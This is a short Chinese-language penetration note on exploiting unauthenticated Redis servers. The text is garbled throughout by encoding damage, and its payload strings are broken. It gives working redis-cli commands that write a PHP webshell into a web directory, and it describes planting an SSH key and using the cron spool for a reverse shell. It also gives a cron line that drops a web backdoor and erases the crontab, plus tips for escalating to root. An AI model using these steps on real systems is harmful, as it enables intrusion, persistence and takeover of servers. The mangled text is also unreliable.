Redis 匿名訪問(wèn)利用技巧
Redis 數(shù)據(jù)庫(kù)在內(nèi)網(wǎng)滲透中比較常見(jiàn),結(jié)合近期的利用過(guò)程,記錄下:
在內(nèi)網(wǎng)機(jī)器中下載Redis 解壓 make一下,不用make install
A) 一般情況下知道路徑寫shell
- ./redis-cli -h IP
- config set dir /home/wwwroot/default/
- config set dbfilename redis.php
- set webshell " phpinfo(); ?>"
- save
B) 利用公匙免密碼登錄1 本機(jī)生成公匙2 利用redis將公匙備份到redis機(jī)器上C) 利用linux的任務(wù)反彈shell
1 /var/spool/cron linux機(jī)器下默認(rèn)的計(jì)劃任務(wù),開(kāi)啟cron的時(shí)候,linux會(huì)定時(shí)去執(zhí)行里面的任務(wù),文件名為用戶名2 redis 設(shè)置dbfilename 到上面可以直接反彈shell回來(lái)
大概總結(jié)了主要是以上三種方式獲取redis服務(wù)器的權(quán)限,因?yàn)閞edis一般都是root權(quán)限啟動(dòng)的,所以權(quán)限很大。
但滲透過(guò)程中總是會(huì)出現(xiàn)意向不到的情況,有木有啊。
第一種方式,如果redis數(shù)據(jù)庫(kù)太大,導(dǎo)致php馬超限,直接500不解析,那我們可以通過(guò)第三個(gè)命令寫個(gè)馬到web目錄
- */1 * * * * echo " phpinofo();?>" >/var/www/html/90sec.php;crontab -r
這樣的馬就沒(méi)問(wèn)題了
第二種方式,我測(cè)試本機(jī)沒(méi)問(wèn)題,但是到了滲透環(huán)境就出問(wèn)題了,應(yīng)該是ssh免密碼登錄 .ssh目錄權(quán)限問(wèn)題,成功幾率不太大
第三種方式,最喜歡的一種,簡(jiǎn)單粗暴明了,連提權(quán)都省了(如果是重要的機(jī)器,root用戶一般都會(huì)有計(jì)劃任務(wù),建議先用低權(quán)限的用戶反彈個(gè)shell上去 探下情況,在root) 但也遇到很奇葩的不給連接外網(wǎng)的機(jī)器,那就只能寫個(gè)shell到web目錄,或者在內(nèi)網(wǎng)監(jiān)聽(tīng)一個(gè)bashshell ,自己去連接就ok了
redis還有一個(gè)發(fā)現(xiàn)就是,高版本的linux提權(quán)不了,我們也可以通過(guò)redis直接提權(quán),也就是第三方軟件提權(quán)的一種方法吧。